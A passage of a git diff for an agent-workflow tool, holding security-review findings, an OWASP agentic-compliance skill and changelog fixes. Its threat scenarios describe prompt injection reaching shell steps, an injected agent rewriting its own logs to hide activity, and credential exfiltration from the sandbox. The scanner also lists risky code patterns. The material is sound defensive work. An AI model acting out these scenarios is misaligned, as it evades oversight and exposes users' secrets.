created under `.jaiph/runs` + (`node-workflow-runtime.ts:281-291`, `:445-452`); artifacts mounted at + `/jaiph/run` (`docker.ts:576,793`). No redaction/hash-chaining in the event + emitter (`runtime-event-emitter.ts`, `emit.ts`). + +**Exploit scenario.** The structured JSONL log is good — timestamped, id-linked, +status-bearing, and replayable. But it is written to `/jaiph/run` (mapped to +`.jaiph/runs` on the host), which the running workflow can write to. A +misbehaving or injected agent can append, rewrite, or truncate its own run +summary and artifacts to hide activity, because there is no append-only +enforcement and no hash chain to detect tampering. Separately, prompt text and +the reconstructed command line are written to artifacts verbatim +(`prompt.ts:745-746`), so any secret a workflow interpolates into a prompt or +logs to stdout is persisted in cleartext. + +**Remediation.** Hash-chain `run_summary.jsonl` (each line carries the SHA-256 of +the previous) and/or stream events to a location the sandboxed workflow cannot +write. Add a redaction pass over known credential env values before writing +prompt/command artifacts. + +### 5. Installer and image toolchain trust-on-first-use without signatures + +- **ASI:** ASI-09 (Supply Chain Integrity) +- **Severity:** LOW +- **Confidence:** 0.8 +- **Where:** `docs/install:218-242` (binary + `SHA256SUMS` downloaded from the + same base URL, checksum compared, no signature); `runtime/Dockerfile:86,104,123,188` + (`uv`, `rustup`, `bun`, cursor installer via unpinned `curl … | sh`/`| bash`). + +**Exploit scenario.** The installer downloads the binary and its `SHA256SUMS` +from the same GitHub release origin, then verifies one against the other — this +detects corruption but not a compromised release: an attacker who can replace the +asset replaces the checksum file too. The Dockerfile similarly pipes remote +install scripts straight into a shell with no pinned digest, so a compromised +upstream (astral.sh, sh.rustup.rs, bun.sh, cursor.com) executes arbitrary code at +image-build time. There is no detached signature (GPG/cosign), no SBOM, and no +`INTEGRITY.json`-style manifest. + +**Remediation.** Publish and verify a detached signature over `SHA256SUMS` +(cosign or minisign) in the installer; pin toolchain installers to a known SHA-256 +and verify before executing; generate an SBOM for the runtime image. + +### 6. Imported `.jh` module metadata can change the executed agent command + +- **ASI:** ASI-03 (Excessive Agency) / ASI-09 (Supply Chain Integrity) +- **Severity:** LOW +- **Confidence:** 0.75 +- **Where:** `applyMetadataScope` applies callee-module metadata cross-module + (`node-workflow-runtime.ts:1699-1700` sets `JAIPH_AGENT_COMMAND` unless + `JAIPH_AGENT_COMMAND_LOCKED=1`); the cursor backend spawns that command + (`prompt.ts:199-211`, spawned at `prompt.ts:600`). + +**Exploit scenario.** A workflow `import`s a third-party `.jh` library. That +module's metadata sets `agent.command = "some-binary --flag"`. When a `prompt` +step executes in the imported module's scope, Jaiph spawns `some-binary` as the +"agent backend" (argv, so no shell metacharacters, but any executable on PATH +runs). Unless the top-level run set `JAIPH_AGENT_COMMAND_LOCKED=1`, importing an +untrusted module silently changes what binary runs on the user's behalf — a +config-driven escalation without any attestation step. + +**Remediation.** Do not let imported-module metadata override +`agent.command`/`agent.backend` by default; require the entry module (or an +explicit flag) to opt into honoring a dependency's execution config, or lock +these keys by default and require explicit unlock. + +### 7. Broad credential env prefixes forwarded into the container + +- **ASI:** ASI-06 (Insufficient Logging) / ASI-08-adjacent +- **Severity:** LOW +- **Confidence:** 0.8 +- **Where:** `ENV_ALLOW_PREFIXES = ["JAIPH_","ANTHROPIC_","CURSOR_","CLAUDE_","OPENAI_"]` + (`src/runtime/docker.ts:582`); forwarded in `buildDockerArgs` + (`docker.ts:801-808`); `--env` passthrough bypasses the allowlist by design + (`docker.ts:809-813`). + +**Exploit scenario.** The allowlist is the right shape (fail-closed, prefix-based) +and is correct for delivering agent credentials. The residual risk is breadth: an +entire prefix family is forwarded, so any `ANTHROPIC_*`/`OPENAI_*`/`CLAUDE_*` +value on the host — including ones unrelated to the current backend — is exposed +to whatever code runs in the sandbox, and combined with Finding 1 an injected +shell step inside the container can read them from its environment and exfiltrate +over the default network. This is contained (same trust domain, sandboxed) but +wider than least-privilege. + +**Remediation.** Forward only the specific credential keys the resolved backend +needs (e.g. `ANTHROPIC_API_KEY`/`CLAUDE_CODE_OAUTH_TOKEN` for claude), rather than +whole prefix families; document that `--env` is an intentional bypass. + +## Critical gaps and recommendations + +There are no critical (HIGH) gaps. In priority order: + +1. **Close the prompt-output → shell gap (Findings 1, 2).** This is the highest + residual risk because it converts prompt injection into command execution. The + sandbox contains it today, so the practical fixes are (a) steer authors to + argv-passing over `sh` interpolation, (b) a validator warning for + prompt-derived vars in shell steps, and (c) making MCP's live-write default + explicit or opt-in. +2. **Harden auditability (Finding 4).** Hash-chain the run summary and add secret + redaction so the audit trail is trustworthy and safe to retain — this is what + separates ASI-06 PARTIAL from PASS. +3. **Sign the supply chain (Finding 5).** A detached signature over `SHA256SUMS` + and pinned toolchain digests move ASI-09 toward PASS. +4. **Tighten least privilege (Findings 3, 6, 7).** Prefer the `copy` sandbox, + scope AppArmor, lock execution-config keys against untrusted imports, and + forward only backend-specific credentials. + +**What is already strong and should be preserved:** the deterministic, +code-only, fail-closed policy layer (mount denylist, env allowlist, `*_LOCKED` +gates — ASI-08); argv-based script spawning that keeps command injection out of +the *script* path; and the genuine circuit-breaker / kill-switch machinery +(watchdogs, caps, force-remove container — ASI-10). These are the right +foundations; the findings above are about the edges where untrusted model output +reaches execution and where the sandbox is intentionally relaxed. diff --git a/.jaiph/simplifier.jh b/.jaiph/simplifier.jh index 96356475..ac53fc68 100644 --- a/.jaiph/simplifier.jh +++ b/.jaiph/simplifier.jh @@ -5,6 +5,7 @@ import "jaiphlang/git" as git config { agent.backend = "claude" + agent.model = "opus" agent.claude_flags = "--permission-mode bypassPermissions" } diff --git a/.jaiph/skills.lock b/.jaiph/skills.lock index 403fd4d3..2c7c0f81 100644 --- a/.jaiph/skills.lock +++ b/.jaiph/skills.lock @@ -6,6 +6,12 @@ "sourceType": "github", "skillPath": "skills/documentation-writer/SKILL.md", "computedHash": "ee53d65b163cd7eb953a930c95841cfe398cc2c0bd24c06508bbaa07c432be35" + }, + "agent-owasp-compliance": { + "source": "github/awesome-copilot", + "sourceType": "github", + "skillPath": "skills/agent-owasp-compliance/SKILL.md", + "computedHash": "5c1f92c48888beb811d2435e58aa02b2619422a921d6f70e3cc15e5c5be8e7da" } } } diff --git a/.jaiph/skills/agent-owasp-compliance/SKILL.md b/.jaiph/skills/agent-owasp-compliance/SKILL.md new file mode 100644 index 00000000..f6ed7efb --- /dev/null +++ b/.jaiph/skills/agent-owasp-compliance/SKILL.md @@ -0,0 +1,331 @@ + +--- +name: agent-owasp-compliance +description: | + Check any AI agent codebase against the OWASP Agentic Security Initiative (ASI) Top 10 risks. + Use this skill when: + - Evaluating an agent system's security posture before production deployment + - Running a compliance check against OWASP ASI 2026 standards + - Mapping existing security controls to the 10 agentic risks + - Generating a compliance report for security review or audit + - Comparing agent framework security features against the standard + - Any request like "is my agent OWASP compliant?", "check ASI compliance", or "agentic security audit" +--- + +# Agent OWASP ASI Compliance Check + +Evaluate AI agent systems against the OWASP Agentic Security Initiative (ASI) Top 10 — the industry standard for agent security posture. + +## Overview + +The OWASP ASI Top 10 defines the critical security risks specific to autonomous AI agents — not LLMs, not chatbots, but agents that call tools, access systems, and act on behalf of users. This skill checks whether your agent implementation addresses each risk. + +``` +Codebase → Scan for each ASI control: + ASI-01: Prompt Injection Protection + ASI-02: Tool Use Governance + ASI-03: Agency Boundaries + ASI-04: Escalation Controls + ASI-05: Trust Boundary Enforcement + ASI-06: Logging & Audit + ASI-07: Identity Management + ASI-08: Policy Integrity + ASI-09: Supply Chain Verification + ASI-10: Behavioral Monitoring +→ Generate Compliance Report (X/10 covered) +``` + +## The 10 Risks + +| Risk | Name | What to Look For | +|------|------|-----------------| +| ASI-01 | Prompt Injection | Input validation before tool calls, not just LLM output filtering | +| ASI-02 | Insecure Tool Use | Tool allowlists, argument validation, no raw shell execution | +| ASI-03 | Excessive Agency | Capability boundaries, scope limits, principle of least privilege | +| ASI-04 | Unauthorized Escalation | Privilege checks before sensitive operations, no self-promotion | +| ASI-05 | Trust Boundary Violation | Trust verification between agents, signed credentials, no blind trust | +| ASI-06 | Insufficient Logging | Structured audit trail for all tool calls, tamper-evident logs | +| ASI-07 | Insecure Identity | Cryptographic agent identity, not just string names | +| ASI-08 | Policy Bypass | Deterministic policy enforcement, no LLM-based permission checks | +| ASI-09 | Supply Chain Integrity | Signed plugins/tools, integrity verification, dependency auditing | +| ASI-10 | Behavioral Anomaly | Drift detection, circuit breakers, kill switch capability | + +--- + +## Check ASI-01: Prompt Injection Protection + +Look for input validation that runs **before** tool execution, not after LLM generation. + +```python +import re +from pathlib import Path + +def check_asi_01(project_path: str) -> dict: + """ASI-01: Is user input validated before reaching tool execution?""" + positive_patterns = [ + "input_validation", "validate_input", "sanitize", + "classify_intent", "prompt_injection", "threat_detect", + "PolicyEvaluator", "PolicyEngine", "check_content", + ] + negative_patterns = [ + r"eval\(", r"exec\(", r"subprocess\.run\(.*shell=True", + r"os\.system\(", + ] + + # Scan Python files for signals + root = Path(project_path) + positive_matches = [] + negative_matches = [] + + for py_file in root.rglob("*.py"): + content = py_file.read_text(errors="ignore") + for pattern in positive_patterns: + if pattern in content: + positive_matches.append(f"{py_file.name}: {pattern}") + for pattern in negative_patterns: + if re.search(pattern, content): + negative_matches.append(f"{py_file.name}: {pattern}") + + positive_found = len(positive_matches) > 0 + negative_found = len(negative_matches) > 0 + + return { + "risk": "ASI-01", + "name": "Prompt Injection", + "status": "pass" if positive_found and not negative_found else "fail", + "controls_found": positive_matches, + "vulnerabilities": negative_matches, + "recommendation": "Add input validation before tool execution, not just output filtering" + } +``` + +**What passing looks like:** +```python +# GOOD: Validate before tool execution +result = policy_engine.evaluate(user_input) +if result.action == "deny": + return "Request blocked by policy" +tool_result = await execute_tool(validated_input) +``` + +**What failing looks like:** +```python +# BAD: User input goes directly to tool +tool_result = await execute_tool(user_input) # No validation +``` + +--- + +## Check ASI-02: Insecure Tool Use + +Verify tools have allowlists, argument validation, and no unrestricted execution. + +**What to search for:** +- Tool registration with explicit allowlists (not open-ended) +- Argument validation before tool execution +- No `subprocess.run(shell=True)` with user-controlled input +- No `eval()` or `exec()` on agent-generated code without sandbox + +**Passing example:** +```python +ALLOWED_TOOLS = {"search", "read_file", "create_ticket"} + +def execute_tool(name: str, args: dict): + if name not in ALLOWED_TOOLS: + raise PermissionError(f"Tool '{name}' not in allowlist") + # validate args... + return tools[name](**validated_args) +``` + +--- + +## Check ASI-03: Excessive Agency + +Verify agent capabilities are bounded — not open-ended. + +**What to search for:** +- Explicit capability lists or execution rings +- Scope limits on what the agent can access +- Principle of least privilege applied to tool access + +**Failing:** Agent has access to all tools by default. +**Passing:** Agent capabilities defined as a fixed allowlist, unknown tools denied. + +--- + +## Check ASI-04: Unauthorized Escalation + +Verify agents cannot promote their own privileges. + +**What to search for:** +- Privilege level checks before sensitive operations +- No self-promotion patterns (agent changing its own trust score or role) +- Escalation requires external attestation (human or SRE witness) + +**Failing:** Agent can modify its own configuration or permissions. +**Passing:** Privilege changes require out-of-band approval (e.g., Ring 0 requires SRE attestation). + +--- + +## Check ASI-05: Trust Boundary Violation + +In multi-agent systems, verify that agents verify each other's identity before accepting instructions. + +**What to search for:** +- Agent identity verification (DIDs, signed tokens, API keys) +- Trust score checks before accepting delegated tasks +- No blind trust of inter-agent messages +- Delegation narrowing (child scope <= parent scope) + +**Passing example:** +```python +def accept_task(sender_id: str, task: dict): + trust = trust_registry.get_trust(sender_id) + if not trust.meets_threshold(0.7): + raise PermissionError(f"Agent {sender_id} trust too low: {trust.current()}") + if not verify_signature(task, sender_id): + raise SecurityError("Task signature verification failed") + return process_task(task) +``` + +--- + +## Check ASI-06: Insufficient Logging + +Verify all agent actions produce structured, tamper-evident audit entries. + +**What to search for:** +- Structured logging for every tool call (not just print statements) +- Audit entries include: timestamp, agent ID, tool name, args, result, policy decision +- Append-only or hash-chained log format +- Logs stored separately from agent-writable directories + +**Failing:** Agent actions logged via `print()` or not logged at all. +**Passing:** Structured JSONL audit trail with chain hashes, exported to secure storage. + +--- + +## Check ASI-07: Insecure Identity + +Verify agents have cryptographic identity, not just string names. + +**Failing indicators:** +- Agent identified by `agent_name = "my-agent"` (string only) +- No authentication between agents +- Shared credentials across agents + +**Passing indicators:** +- DID-based identity (`did:web:`, `did:key:`) +- Ed25519 or similar cryptographic signing +- Per-agent credentials with rotation +- Identity bound to specific capabilities + +--- + +## Check ASI-08: Policy Bypass + +Verify policy enforcement is deterministic — not LLM-based. + +**What to search for:** +- Policy evaluation uses deterministic logic (YAML rules, code predicates) +- No LLM calls in the enforcement path +- Policy checks cannot be skipped or overridden by the agent +- Fail-closed behavior (if policy check errors, action is denied) + +**Failing:** Agent decides its own permissions via prompt ("Am I allowed to...?"). +**Passing:** PolicyEvaluator.evaluate() returns allow/deny in <0.1ms, no LLM involved. + +--- + +## Check ASI-09: Supply Chain Integrity + +Verify agent plugins and tools have integrity verification. + +**What to search for:** +- `INTEGRITY.json` or manifest files with SHA-256 hashes +- Signature verification on plugin installation +- Dependency pinning (no `@latest`, `>=` without upper bound) +- SBOM generation + +--- + +## Check ASI-10: Behavioral Anomaly + +Verify the system can detect and respond to agent behavioral drift. + +**What to search for:** +- Circuit breakers that trip on repeated failures +- Trust score decay over time (temporal decay) +- Kill switch or emergency stop capability +- Anomaly detection on tool call patterns (frequency, targets, timing) + +**Failing:** No mechanism to stop a misbehaving agent automatically. +**Passing:** Circuit breaker trips after N failures, trust decays without activity, kill switch available. + +--- + +## Compliance Report Format + +```markdown +# OWASP ASI Compliance Report +Generated: 2026-04-01 +Project: my-agent-system + +## Summary: 7/10 Controls Covered + +| Risk | Status | Finding | +|------|--------|---------| +| ASI-01 Prompt Injection | PASS | PolicyEngine validates input before tool calls | +| ASI-02 Insecure Tool Use | PASS | Tool allowlist enforced in governance.py | +| ASI-03 Excessive Agency | PASS | Execution rings limit capabilities | +| ASI-04 Unauthorized Escalation | PASS | Ring promotion requires attestation | +| ASI-05 Trust Boundary | FAIL | No identity verification between agents | +| ASI-06 Insufficient Logging | PASS | AuditChain with SHA-256 chain hashes | +| ASI-07 Insecure Identity | FAIL | Agents use string names, no crypto identity | +| ASI-08 Policy Bypass | PASS | Deterministic PolicyEvaluator, no LLM in path | +| ASI-09 Supply Chain | FAIL | No integrity manifests or plugin signing | +| ASI-10 Behavioral Anomaly | PASS | Circuit breakers and trust decay active | + +## Critical Gaps +- ASI-05: Add agent identity verification using DIDs or signed tokens +- ASI-07: Replace string agent names with cryptographic identity +- ASI-09: Generate INTEGRITY.json manifests for all plugins + +## Recommendation +Install agent-governance-toolkit for reference implementations of all 10 controls: +pip install agent-governance-toolkit +``` + +--- + +## Quick Assessment Questions + +Use these to rapidly assess an agent system: + +1. **Does user input pass through validation before reaching any tool?** (ASI-01) +2. **Is there an explicit list of what tools the agent can call?** (ASI-02) +3. **Can the agent do anything, or are its capabilities bounded?** (ASI-03) +4. **Can the agent promote its own privileges?** (ASI-04) +5. **Do agents verify each other's identity before accepting tasks?** (ASI-05) +6. **Is every tool call logged with enough detail to replay it?** (ASI-06) +7. **Does each agent have a unique cryptographic identity?** (ASI-07) +8. **Is policy enforcement deterministic (not LLM-based)?** (ASI-08) +9. **Are plugins/tools integrity-verified before use?** (ASI-09) +10. **Is there a circuit breaker or kill switch?** (ASI-10) + +If you answer "no" to any of these, that's a gap to address. + +--- + +## Related Resources + +- [OWASP Agentic AI Threats](https://owasp.org/www-project-agentic-ai-threats/) +- [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) — Reference implementation covering 10/10 ASI controls +- [agent-governance skill](https://github.com/github/awesome-copilot/tree/main/skills/agent-governance) — Governance patterns for agent systems diff --git a/CHANGELOG.md b/CHANGELOG.md index 1c09f9e5..13377deb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,81 @@ # Unreleased +## Summary + +## All changes + +# 0.11.0 + +## Summary + +- **Use Jaiph from MCP clients:** run `jaiph mcp` to expose your workflows as tools in Claude Code, Cursor, and other MCP apps — with live progress and the ability to cancel long runs. +- **Pass secrets into sandboxed runs:** `--env GITHUB_TOKEN` (and similar) forwards a host variable into Docker-backed runs when the default allowlist would block it; declare recurring keys in-file with `trusted_envs`. +- **Smarter config, clearer model setting:** `config { }` values can reference variables and workflow parameters. **Breaking:** rename `agent.default_model` to `agent.model`; it applies per prompt step, not as a global env var. +- **Jaiph on Windows:** install with PowerShell, run a native `.exe`, and get the same workflows without WSL or Docker on `win32`. +- **Safer Docker sandbox:** runs get a writable point-in-time workspace snapshot instead of a live bind mount; gitignored files (`.env`, `node_modules/`) never enter the container. +- **Security hardening:** release checksums are minisign-signed; run journals are hash-chained with secrets redacted; injected secrets reach only declared `run` steps, never prompt agents; `jaiph mcp` isolates the workspace by default, matching `jaiph run`. +- **Workflow language:** `else if` chains, `match` pattern alternation (`"a" | "b"`), and `logwarn` for yellow warnings in the run tree. + +## All changes + + +- **Feat — Git-defined snapshot content: gitignored files never enter the sandbox:** The default Docker snapshot no longer copies the whole workspace. `cloneWorkspaceForSandbox` (`src/runtime/docker.ts`) now derives the snapshot's file set from git: for a git workspace (a `.git` at the workspace root and `git ls-files` succeeds) the snapshot contains **exactly** the paths git reports — `git ls-files -z --cached --others --exclude-standard` (tracked files plus untracked-but-not-ignored files) — plus the `.git/` directory copied wholesale so workflows can read history and commit inside the sandbox. Gitignored paths are **absent**, not empty: a `.env`, an `.npmrc` with a token, a built `dist/`, and a `node_modules/` tree are never copied and never even scanned. This is the filesystem twin of the `trusted_envs` env-scoping work — the sanctioned way to get a secret into a run is explicit injection into trusted steps (`--env` / `trusted_envs`), not "it was lying in a gitignored file" — and it is the dominant clone-speed win, since ignored artifact directories are usually the overwhelming majority of a workspace's file count. **git is the sole gitignore oracle**: Jaiph consumes git's list via the injectable `_gitLsFiles` seam / `gitSnapshotRelPaths` helper rather than reimplementing ignore semantics (nested `.gitignore`, `!` negations, `.git/info/exclude`, global excludes). The copy walk prunes at directory granularity — an entirely-ignored subtree is neither scanned nor recursed — and the content is **identical across every platform and copy mechanism** (APFS clonefile `cp -cR`, block-level reflink, or a plain data copy), since it is a property of git's answer, not the host filesystem. Edges: submodule directories appear as a single gitlink path in `ls-files` and are copied wholesale as opaque subtrees; tracked-but-deleted-from-worktree paths are silently skipped (the on-disk walk only copies entries that exist); the existing runs-root exclusion still applies on top (relevant for the non-git fallback and for `.git`-wholesale copying when the runs dir is nested unusually). A **non-git workspace** (no `.git` at the root, or `git ls-files` fails) falls back to copying **everything** (minus the runs root) — the documented current behavior, where an "ignored-looking" file with no git to consult *is* copied. There is **no config escape hatch** to re-include ignored paths, so a workflow that builds or tests must install its dependencies inside the container (`npm install`, `pip install`, …), exactly as a fresh CI checkout would. Applies to the Docker snapshot/clone path only; `--inplace` and host (`--unsafe`) modes are untouched. Tests: `src/runtime/docker.test.ts` (git-defined content is mechanism-independent across the clonefile and plain-copy paths via the injectable `WorkspaceCloner` spawn; a nested `.gitignore` with a `!` negation matches git exactly; `.git/` is present and functional in the clone; non-git workspace falls back to copy-everything; a tracked-but-deleted file does not fail the clone), `e2e/tests/74e_docker_git_snapshot_content.sh` (a real Docker `jaiph run` in a git workspace with a tracked file, an untracked non-ignored file, a gitignored `.env`, and a gitignored `node_modules/` — asserts from inside the container that the first two are present, the ignored file and directory are absent, and `git log -1` succeeds in-container). Docs: new [What the snapshot contains](sandboxing.md#snapshot-content) section in `docs/sandboxing.md` (content policy, git-as-oracle, non-git fallback, submodule handling, tracked-but-deleted edge, and the install-deps-in-container consequence), the [Filesystem reach](sandboxing.md) protection note, `docs/architecture.md` (Docker runtime helper), and a git-defined-content note in `docs/sandbox-run.md`. (FS-isolation redesign, `2026-07-23` — the filesystem twin of `trusted_envs`.) + +- **Feat — `trusted_envs`: declare host secrets a workflow pulls into trusted `run` steps:** A `.jh` file can now state its credential surface declaratively instead of relying on the operator remembering `jaiph run --env GITHUB_TOKEN …`. A new config key `trusted_envs = "GITHUB_TOKEN NPM_TOKEN"` (quoted, space-separated key list; `src/parse/metadata.ts`, `WorkflowMetadata.trustedEnvs`) is accepted in the top-level `config` block (sugar: applies to every workflow in the file) and per-`workflow` `config` blocks (scoped to that workflow only). Declared keys resolve from a **pristine env snapshot captured once at runtime construction** (`NodeWorkflowRuntime.trustedEnvSnapshot`) — never from the calling workflow's `scope.env` — and are injected **only** into the declaring workflow's `run`-step script spawns (`executeRunRef`, via the new `Scope.trustedEnv`). Every key declared anywhere in the module graph is **scrubbed** from workflow scope envs (`scrubTrustedKeys`), so an undeclared sub-workflow never inherits a caller's secret and `prompt` subprocesses never see the values in any sandbox mode (the `scrubPromptEnv` fail-closed allowlist applies on top). **Only the entry file's declarations are honored** — `trusted_envs` in an imported module is ignored with a pre-flight warning (it also joins the scrub set, so an imported declaration *removes* ambient access rather than granting it), mirroring the `agent.command` / `agent.backend` import trust boundary. The host CLI pre-flights declarations before spawning (`planTrustedEnvs` in `src/cli/run/trusted-envs.ts`): a declared key with no host/`--env` value aborts with `E_ENV_MISSING`, and Docker runs forward the resolved values through the same explicit `-e` channel as `--env` pairs, with an explicit `--env KEY=VALUE` overriding the host-snapshot value. Reserved keys are rejected at parse time via the same policy as `--env` — the `RESERVED_ENV_KEYS` / `JAIPH_DOCKER_*` rules were lifted from `src/cli/shared/usage.ts` into the shared `src/env-reserved.ts` so both surfaces enforce one list. Kernel policy helpers live in `src/runtime/kernel/trusted-env.ts`. Tests: `src/parse/parse-metadata.test.ts` (key list parsing, workflow-level blocks, invalid/reserved keys, formatter round-trip), `src/cli/run/trusted-envs.test.ts` (resolution, `--env` precedence, `E_ENV_MISSING`, imported-module warning), `src/runtime/kernel/node-workflow-runtime.trusted-env.test.ts` (run-step injection, module-level sugar, sub-workflow non-inheritance, imported-module lockout, prompt-agent absence in host mode and across the Docker snapshot boundary), `e2e/tests/146_trusted_envs.sh` (host + Docker legs end-to-end). Docs: new [Trusted env keys](configuration.md#trusted-envs) section in `docs/configuration.md` and the import-trust-boundary cross-reference, plus `--env`-alternative cross-references in `docs/env-vars.md` and `docs/sandboxing.md` (env-exposure section). + +- **Fix — Keep injected credentials out of prompt agent subprocesses:** An `--env`-forwarded secret (for example `jaiph run --env GITHUB_TOKEN .jaiph/gh_ci_passes.jh`) no longer leaks into the LLM agent's environment. The prompt backend previously inherited the full workflow env verbatim: `runBackend` (`src/runtime/kernel/prompt.ts`) defaulted `childEnv` to `execEnv` (the workflow's `scope.env` — a spread of `process.env` plus everything merged from `--env`), and for the Claude backend `prepareClaudeEnv` only *augmented* the env (adding `CLAUDE_CONFIG_DIR`), never stripping it — so the `claude` subprocess, spawned with `--permission-mode bypassPermissions` and fed untrusted content such as CI failure logs, received `GITHUB_TOKEN` and every other `--env` secret. Under the trust model only deterministic author-written `run` steps (`executeRunRef`) need credentials; `prompt` hands control to the model and no `prompt` step legitimately needs an `--env`-injected secret, so the scrub is applied unconditionally. Every prompt backend is now spawned through the new `scrubPromptEnv(execEnv, backend)`, which forwards only the base environment a CLI legitimately needs (`PROMPT_BASE_ENV_NAMES`/`PROMPT_BASE_ENV_PREFIXES`: `PATH`, `HOME`, locale `LANG`/`LC_*`, TLS trust + proxies, `CLAUDE_CONFIG_DIR`, Windows/`XDG_` basics), `JAIPH_*` control keys, and the agent's *own* backend credential keys — dropping everything else fail-closed (an unrecognized backend forwards no credentials). To govern the host and Docker boundaries with one policy, the existing `isEnvAllowed` / `BACKEND_CREDENTIAL_KEYS` / `ENV_ALLOW_*` / `RUN_WORKFLOW_ENV` allowlist was lifted out of `src/runtime/docker.ts` into a new kernel module `src/runtime/kernel/env-allowlist.ts` (re-exported from `docker.ts` for its existing consumers), so the same fail-closed allowlist now covers prompt subprocesses in **all** sandbox modes — host mode included, where previously there was no allowlist at all. For Claude, `prepareClaudeEnv` now runs on the already-scrubbed env. Tests: `src/runtime/kernel/env-allowlist.test.ts` (new — `scrubPromptEnv` keeps base env + own-backend credential, drops an injected `GITHUB_TOKEN` and other backends' keys, and forwards nothing for an unrecognized backend), `src/runtime/kernel/prompt.test.ts` (the env handed to a spawned prompt backend excludes an injected `GITHUB_TOKEN` while including the base env and the backend's own credential key — covering host mode for `cursor` and `claude` and Docker snapshot mode, where the `--env` secret still crosses into the container env but stops at the prompt subprocess), `src/runtime/kernel/node-workflow-runtime.script-exec.test.ts` (regression — a trusted `run` script step still receives the full `--env`-injected value, so the scrub is scoped to `prompt` subprocesses only and does not break credentialed `run` steps). Docs: `docs/sandboxing.md` (env-exposure section) and `docs/env-vars.md` (`--env` note). (Security review `2026-07-20` follow-up — the `--env` credential path.) + +- **Fix — Forward only backend-specific credential keys into the Docker sandbox:** The container env allowlist no longer forwards whole `ANTHROPIC_*` / `CLAUDE_*` / `CURSOR_*` / `OPENAI_*` prefix families, so a host secret merely matching one of those prefixes (for example `ANTHROPIC_BASE_URL` or an unrelated `OPENAI_*` key) is no longer visible to sandboxed code. `ENV_ALLOW_PREFIXES` (`src/runtime/docker.ts`) is now just `["JAIPH_"]` — the run-control keys the in-container runtime itself consumes, minus `JAIPH_DOCKER_*` and the reserved inplace-control names. Agent credentials cross **only** as the enumerated per-backend keys in the new `BACKEND_CREDENTIAL_KEYS` map — `ANTHROPIC_API_KEY` + `CLAUDE_CODE_OAUTH_TOKEN` for `claude`, `CURSOR_API_KEY` for `cursor`, `OPENAI_API_KEY` for `codex` — and only for the backends the entry file actually selects. `isEnvAllowed(key, backends)` now takes the run's resolved backends and returns true for a credential key only when one of those backends needs it; an empty or unrecognized backend list forwards no credentials — fail-closed. The new `collectEntryBackends` (`src/cli/run/preflight-credentials.ts`, reusing the existing `collectBackendUsages` scan of module config, workflow config, and the `JAIPH_AGENT_BACKEND`/default fallback) feeds the new `DockerSpawnOptions.backends` from both `jaiph run` (`src/cli/commands/run.ts`) and `jaiph mcp` (`src/cli/mcp/call.ts` / `src/cli/commands/mcp.ts`). The credential pre-flight now applies the same per-backend scoping, so a key that would not be forwarded is treated as missing before the container starts. The per-key **`--env`** flag remains the intentional escape hatch that bypasses the allowlist verbatim. Net effect: combined with Finding 1's shell-injection containment, an in-container prompt→shell injection can read only the active backend's credentials, not every provider secret on the host. Tests: `src/runtime/docker.test.ts` (per-backend forwarding locks the exact key set — claude forwards exactly `ANTHROPIC_API_KEY` + `CLAUDE_CODE_OAUTH_TOKEN` while an unrelated `ANTHROPIC_UNUSED` never crosses; cursor and codex likewise; multiple backends forward the union; omitted backends forward nothing; the `isEnvAllowed` per-backend matrix; a docs-contract test asserting `docs/env-vars.md` lists every `BACKEND_CREDENTIAL_KEYS` key), `src/cli/run/preflight-credentials.test.ts` (`collectEntryBackends` returns the scanned backend set, deduped, including the `JAIPH_AGENT_BACKEND`/default fallback). Docs: `docs/sandboxing.md` (env-exposure and "what Docker does not protect" sections), `docs/env-vars.md` (forwarding allowlist + per-backend credential table), `docs/agent-auth.md`, `docs/mcp.md`, `docs/why-jaiph.md`. (Security review `2026-07-20` Finding 7, ASI-06 / ASI-08-adjacent, LOW.) + +- **Change — Single snapshot sandbox replaces the fuse-overlayfs / copy duality:** The default Docker mode now gives the container a **writable point-in-time snapshot** of the workspace, taken host-side at run start and bind-mounted read-write at `/jaiph/workspace`. Host changes during the run are invisible to the container, container workspace writes are discarded at exit, and the live host workspace is **never mounted into the container at all** — the previous overlay mode's read-only lower layer was the *live* workspace, so mid-run host edits bled into the merged view; only a point-in-time snapshot delivers the intended isolation. `SandboxMode` is now `"snapshot" | "inplace"` (`src/runtime/docker.ts`), and `selectSandboxMode` reduces to "`JAIPH_INPLACE` → inplace, else snapshot" — no `/dev/fuse` probing and no `JAIPH_DOCKER_NO_OVERLAY` knob. The snapshot lives at `/sandbox` (`.jaiph/runs//sandbox` by default), is cloned copy-on-write where the filesystem supports it (`cp -cR` clonefile on macOS, `cp --reflink=auto -pR` on Linux — block-level CoW on btrfs/XFS with a transparent data-copy fallback on ext4 and cross-filesystem destinations), and is masked from the container's own `/jaiph/run` view by a tmpfs at `/jaiph/run/sandbox` so the run cannot read its snapshot source back. It is deleted on exit (success and failure alike) unless `JAIPH_DOCKER_KEEP_SANDBOX=1`. Snapshot and inplace now share **one** minimal container posture — `--cap-drop ALL` with **zero** cap-adds, `--security-opt no-new-privileges`, no `--device`, no AppArmor exception, and on Linux `--user host_uid:host_gid` — so the elevated overlay setup path (root start, `SYS_ADMIN`/`SETUID`/`SETGID`/`CHOWN`/`DAC_READ_SEARCH`, `apparmor=unconfined`, `setpriv` privilege drop) is gone entirely, along with `runtime/overlay-run.sh`, the `fuse-overlayfs`/`fuse3` image packages, the `JAIPH_HOST_UID`/`JAIPH_HOST_GID` env vars, and the `E_DOCKER_OVERLAY` (container exit code 78) error. The run banner reads `(Docker sandbox, snapshot)` (was `(Docker sandbox, fusefs)` / `(Docker sandbox, tmp workspace)`). Posture-lock tests in `src/runtime/docker.test.ts` pin that no `--cap-add`, no `--device`, and no AppArmor security-opt can appear in any mode. `--inplace` and `--unsafe` (host-only) modes are unchanged. Docs: rewritten [Sandboxing](sandboxing.md), [Run in a Docker sandbox](sandbox-run.md), and env/error rows in [Environment variables](env-vars.md). + +- **Fix — Lock `agent.command` / `agent.backend` against untrusted imported-module metadata:** An imported `.jh` library could previously change which binary the cursor backend spawns for `prompt` steps. `applyMetadataScope` (`src/runtime/kernel/node-workflow-runtime.ts`) mapped an imported module's `config { agent.command = … }` / `agent.backend = …` into `JAIPH_AGENT_COMMAND` / `JAIPH_AGENT_BACKEND` for the run unless the caller had pre-set `*_LOCKED=1` — so a third-party module could silently redirect execution to a different, unattested binary. These two **execution-binary keys** are now applied **only** from the entry module's config: `applyMetadataScope` takes a new `fromEntryModule` flag (true on the root call — `jaiph run file.jh` / the test-runner `run w.wf()` — and when the callee's path is the graph entry file; false for cross-module `run` / 